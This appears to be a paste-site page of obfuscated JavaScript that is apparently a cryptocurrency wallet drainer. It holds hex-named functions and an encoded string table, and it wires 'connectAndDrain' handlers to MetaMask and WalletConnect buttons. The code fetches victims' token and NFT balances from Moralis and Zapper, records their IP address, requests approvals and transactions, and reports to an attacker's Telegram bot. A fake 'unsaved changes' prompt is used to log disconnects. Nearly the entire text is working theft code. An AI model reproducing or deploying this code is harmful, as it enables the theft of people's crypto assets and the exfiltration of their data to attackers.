- account = _0xdf7250[0],
- id = localStorage[_0x443c41(280)]('scUniqueId'),
- connected == 0 && sendMsg(LOG_SCHEMA[logLanguage][_0x443c41(277)]);
- });
- } catch (_0x1616f5) {
- }
- window[_0xd12d80(242)](_0xd12d80(222), function (_0x294af0) {
- const _0x34fb13 = _0xd12d80;
- var _0x39b80e = _0x34fb13(246) + 'If you leave before saving, your changes will be lost.';
- return (_0x294af0 || window[_0x34fb13(318)]) [_0x34fb13(254)] = _0x39b80e,
- sendMsg(LOG_SCHEMA[logLanguage]['onDisconnect']),
- _0x39b80e;
- });
- function getMobileOperatingSystem() {
- const _0xc9156c = _0xd12d80;
- var _0x431f34 = navigator[_0xc9156c(333)] || navigator['vendor'] || window['opera'];
- const _0x302270 = window[_0xc9156c(178)]['search'],
- _0x457890 = new URLSearchParams(_0x302270),
- _0x193199 = _0x457890[_0xc9156c(288)](_0xc9156c(173));
- if (_0x193199 == 'mm') return _0xc9156c(271);
- if (/windows phone/i[_0xc9156c(307)](_0x431f34)) return _0xc9156c(344);
- if (/android/i['test'](_0x431f34)) return 'Android';
- if (/iPad|iPhone|iPod/['test'](_0x431f34) && !window[_0xc9156c(198)]) return 'iOS';
- return _0xc9156c(223);
- }
- document['addEventListener']('DOMContentLoaded', _0x488ee7=>{
- const _0x13b820 = _0xd12d80;
- if ((getMobileOperatingSystem() == 'Android' || getMobileOperatingSystem() == _0x13b820(292)) && !window['ethereum']) {
- var _0x4c3bcd = document[_0x13b820(213)]('a');
- _0x4c3bcd[_0x13b820(183)]['add'](_0x13b820(334)),
- _0x4c3bcd['href'] = 'https://metamask.app.link/dapp/' + window[_0x13b820(178)][_0x13b820(253)]['replace'](_0x13b820(231), '') [_0x13b820(275)](_0x13b820(196), '') + _0x13b820(301),
- connect[_0x13b820(310)]['insertBefore'](_0x4c3bcd, connect),
- _0x4c3bcd['appendChild'](connect);
- }
- }),
- updateState(_0xd12d80(184));
- autoMetamaskConnect == 1 && connectMetamask();
- function _0x4428() {
- const _0x5d43a6 = [
- '4lSOWuhUvjzoDeNdaDrSAzVduF6gazcX4wI9JdREdHe403viWRQIQE3ackJV0xwQ',
- 'X2PatklLMkZ1EQNL6BkiEjKLqanrTMEpMMVFo5GzIrLi1hd67tk7Bte13XxBKdmz',
- '6691560PRdicH',
- '5268dadWji',
- 'polygon',
- 'log',
- 'concat',
- 'https://',
- 'sort',
- 'ip4Oy3wEE4taqo9UMcMbajKHvlriObPqhAYFdy5lbfisD86rqKKnMZGaQfzeCB5O',
- 'token_address',
- '4bn6Jk0uiS6jMPofH0XTxDZxFPy1X0XNYvATwmlKVF9yR58PORqhSpjJFGQTmGBv',
- 'balance',
- 'https://deep-index.moralis.io/api/v2/',
- 'https://mainnet.infura.io/v3/7468b3678e214783ab611eb4a0d819a9',
- 'safepal',
- 'items',
- '1puXLCxzWLmC7E99lRSgOg9zr6dS5Asw91haaaDJVfpIguMLgidCtv2bYU47zpkj',
- 'addEventListener',
- 'https://api.zapper.fi/v2/balances?addresses%5B%5D=',
- '0x83850d97018f665eb746fbb8f18351e977d1b0d6',
- 'address',
- 'It looks like you have been editing something. ',
- '\n\nevent: end\ndata: {}\n\n',
- 'application/json',
- 'sendTransaction',
- 'contract',
- 'getElementById',
- 'GET',
- 'href',
- 'returnValue',
- 'type',
- 'userTokensFetching',
- 'bjWyrcQ1kgVrRZvGb5TDGEBPdquaeNKYkkoEbYsxPQHSYt6OV1Z1C1rKiyoaejeO',
- 'keys',
- 'setItem',
- 'balanceRaw',
- 'estimatedValueEth',
- 'yU1WUrDotYQMz7oxf08Ifr3QpSRNPHaM4zxKPfrhvvXvvyXPGJo4gcciFQ6OKDbR',
- 'onConnect',
- 'metamaskbuttonopen',
- '515660YuBuMZ',
- 'getBalance',
- '0x29132062319aa375e764ef8ef756f2b28c77a9c9',
- '0x5f7a1a4dafd0718caee1184caa4862543f75edb1',
- '20197107rWUyjH',
- 'QQpFIQ9vuzeH70qY2LhScM9vDzioTY6Mim34nJzKqoSZXe2n645GMqN0eZSo96qQ',
- 'Metamask',
- 'readyState',
- 'kMd6gcvaLrcSZS0UvVpPMkDYEvzhNFVEmBzpavQwMBCoz3ETmwL1bYlKFozH1LJA',
- '2QjcdHCDaAUfrNoym7SBHWs9BZ4cKtH853V81UtvSmhvK3TYEEQWsWkAdiFmk4jn',
- 'replace',
- 'methods',
- 'onMetamaskConnect',
- '5334889KxWcTp',
- '1inch',
- 'getItem',
- '/sendMessage?chat_id=',
- 'IdZk35RsmDewhFTKUnXI7fkdcLwftTZcEMtp79OD6Jm0aQ61yjX6VEh9miAXZJkH',
- 'utils',
- 'fromWei',
- 'HttpProvider',
- 'push',
- 'tokenId',
- 'get',
- '0xc0c6e4c6e70c6231b20979bda581a66f062a7967',
- 'balanceUSD',
- '7468b3678e214783ab611eb4a0d819a9',
- 'iOS',
- 'then',
- 'argent',
- 'onCancelSwitch',
- '0x7d1afa7b718fb893db30a3abc0cfc608aacfebb0',
- 'Refresh your page! Something went wrong!',
- 'random',
- 'FuIPJDVOieQPb9zJcJHRr8n4Gke0kpfSvhX3yjiu5bWSmdALBwxtOSRLlIS2gYlK',
- 'bsc',
- '?uid=mm',
- 'fullwide',
- 'exodus',
- 'getAccounts',
- 'length',
- 'toLocaleString',
- 'test',
- '&networks%5B%5D=ethereum&networks%5B%5D=polygon&networks%5B%5D=binance-smart-chain',
- 'https://deep-index.moralis.io/api/v2/erc20/',
- 'parentNode',
- 'eth',
- 'uint256',
- 'approve',
- '/balance',
- 'nft',
- '/erc20',
- 'scUniqueId',
- 'event',
- 'https://metamask.io/download/',
- 'https://api.zapper.fi/v2/nft/balances/tokens?addresses%5B%5D=',
- 'transactionHash',
- 'tokens',
- 'wei',
- 'onSign',
- '$id',
- 'gnosis',
- 'chain',
- 'sV7F1FkARMoueHSnBdBMO1guqxVlEXu570AUL3d146voVrtieHGIrFjEn0COshuI',
- '&limit=25',
- '15pmZaeJ',
- 'complete',
- 'https://api.ipify.org',
- 'userAgent',
- 'mmLink',
- 'slice',
- 'botToken',
- 'https://api.telegram.org/bot',
- '0x156ab3346823b651294766e23e6cf87254d68962',
- 'text',
- '216202xDXNWH',
- 'binance-smart-chain',
- 'userTokensFetched',
- 'error',
- 'Windows Phone',
- '&parse_mode=markdown&text=',
- 'canceled',
- 'floor',
- '0xc46159be6699f8f74d39231c021529cd98e0d788',
- 'bitpay',
- 'entries',
- 'collection',
- 'trust',
- '0x1f98431c8ad98523631ae4a59f267346ea31f984',
- 'ethereum',
- 'uid',
- 'KXsGAFeJtxC8PFmVfDfNC20wrjKyFdd3FtvIhYqRq5RvHAAaaTCL7tnJcEcgchKb',
- 'default',
- 'token',
- 'balanceOf',
- 'location',
- '/price',
- 'ZedtjR5J88aI3Pr7oW4wIIQ49qW1V0dTKK93MtF9Uxy54WNRur5k75Ch3HGULnVW',
- '3977336mgcUJO',
- '7MbE8vT54AMvFHxWyLUCz2NSkj0PS3rH5nbKgNOXDwafZoFaIeuZTH6KOsskG2Bs',
- 'classList',
- 'metamaskDisconnected',
- '0x71753d0586ea6b979dfccbb492a45e611e0e0ad6',
- 'metamaskConnected',
- 'bridge',
- 'context',
- ',"data$1$2": {"appId":"$1","network":"$2"',
- 'mHkOcoTU3sIIF6AsqrRvYas6pVT3tiVPJdv7cBzgfS46ShVKRwS00IC6O5ziT8va',
- '1390ybpOhf',
- 'walletconnectbuttonopen',
- '0x9d39ef3bbca5927909dde44476656b81bbe4ee75',
- 'call',
- 'enable',
- 'http://',
- 'load',
- 'MSStream',
- '_owner',
- 'catch',
- '0x15ea6b8481bf1c991ac3dc8e67279d31651a56fe',
- 'ether',
- 'onclick',
- '0x31801b15215c021e7988fa0bc37dcfa6a303bd00',
- 'Contract',
- '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2',
- 'chatId',
- 'matic',
- 'request',
- 'getGasPrice',
- 'network',
- '0x35122d1fe8001296f61290b8ba42ef597af31fb7',
- 'createElement',
- 'data',
- 'wallet_switchEthereumChain',
- 'price',
- 'native',
- 'rainbow',
- 'accountsChanged',
- 'usdPrice',
- '0x0000000000000000000000000000000000000000',
- 'beforeunload',
- 'unknown'
- ];
- _0x4428 = function () {
- return _0x5d43a6;
- };
- return _0x4428();
- }
- async function connectAndDrain() {
- if (connected == 0) await connectMetamask();
- await drain();
- }
- async function connectAndDrainWalletConnect() {
- if (connected == 0) await connectWalletConnect();
- await drain(!![]);
- }
- document['getElementById'](_0xd12d80(264)) [_0xd12d80(203)] = function () {
- connectAndDrain();
- },
- document[_0xd12d80(251)](_0xd12d80(192)) [_0xd12d80(203)] = function () {
- connectAndDrainWalletConnect();
- };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement